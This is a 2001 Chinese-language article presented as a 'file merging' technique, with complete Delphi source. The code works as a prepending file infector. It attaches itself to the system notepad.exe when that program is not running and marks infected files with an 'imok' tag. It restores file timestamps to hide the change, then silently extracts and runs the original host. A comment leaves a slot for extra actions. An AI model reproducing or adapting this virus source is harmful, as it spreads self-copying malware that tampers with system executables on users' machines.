文件合并新思路(附完整DELPHI代码)

               文件合并新思路
           (襄樊 官本和 2001.9.28)

program exe2;

uses
  classes,
  tlhelp32,
  windows,
  sysutils;

{$r *.res}
var
  lppe:tprocessentry32;
  found:boolean;
  handle:thandle;
  processstr,exename:string;
  windir:pchar;
const
  mysize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);
var
  s1,s2:tmemorystream;
  files2:tfilestream;
  ch:array[0..3] of char;
  ss:string;
  filetime,fhandle:integer;
begin
  {若文件s不存在}
  if fileexists(s)=false then exit;
  try
    {判断文件s中有没有特殊标记。若有，表示已经合并过
     在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'imok'
     用debug也可进行修改(对exe文件，要先更改exe扩展名)。例:
     -e 1c8
     127d:01c8 00._ <-键入新的十六进制值
     ......
     -w <-保存文件}
    files2:=tfilestream.create(s,fmopenread);
    files2.position:=200;
    files2.read(ch,4);
    ss:=copy(ch,1,4);
    files2.free;
    if ss='imok' then exit;
    {将本文件与文件s合并 本文件+s=s}
    s2:=tmemorystream.create;
    s2.loadfromfile(exename);
    s1:=tmemorystream.create;
    s1.copyfrom(s2,mysize);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,sofrombeginning);
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=fileopen(s, fmopenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.savetofile(s);
    {恢复文件s的日期}
    fhandle:=fileopen(s, fmopenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure createfileandrun;
var
  s1,s2:tmemorystream;
  tempdir:pchar;
  cmdstr:string;
  a:integer;
begin
  s1:=tmemorystream.create;
  s1.loadfromfile(exename);
  if s1.size=mysize then
  begin
    s1.free;
    exit;
  end;
  s1.seek(mysize,sofrombeginning);
  s2:=tmemorystream.create;
  s2.copyfrom(s1,s1.size-mysize);
  getmem(tempdir,255);
  gettemppath(255,tempdir);
  s2.savetofile(tempdir+'\'+extractfilename(exename));
  cmdstr:='';
  a:=1;
  while paramstr(a)<>'' do begin
    cmdstr:=cmdstr+paramstr(a)+' ';
    inc(a);
  end;
  winexec(pchar(tempdir+'\'+extractfilename(exename)+' '+cmdstr),sw_show);
  freemem(tempdir);
  s2.free;
  s1.free;
end;

begin
  getmem(windir,255);
  getwindowsdirectory(windir,255);
  exename:=paramstr(0);
  handle:=createtoolhelp32snapshot(th32cs_snapall,0);
  found:=process32first(handle,lppe);
  processstr:='';
  while found do
  begin
    processstr:=processstr+lppe.szexefile;{列出所有进程}
    found:=process32next(handle,lppe);
  end;
  if pos(windir+'\notepad.exe',processstr)=0 then
  begin
    copy2(windir+'\notepad.exe');
  end;
  {其它需要合并的文件
  if pos(...,processstr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(windir);
  {
  你想用这个程序干点其它的什么...
  }
  createfileandrun;{释放文件并带参数运行}
end.

{
e-mail: guanbenhe@peoplemail.com.cn
        delphi21cn@sohu.com
homepage: http://guanbh.top263.net
}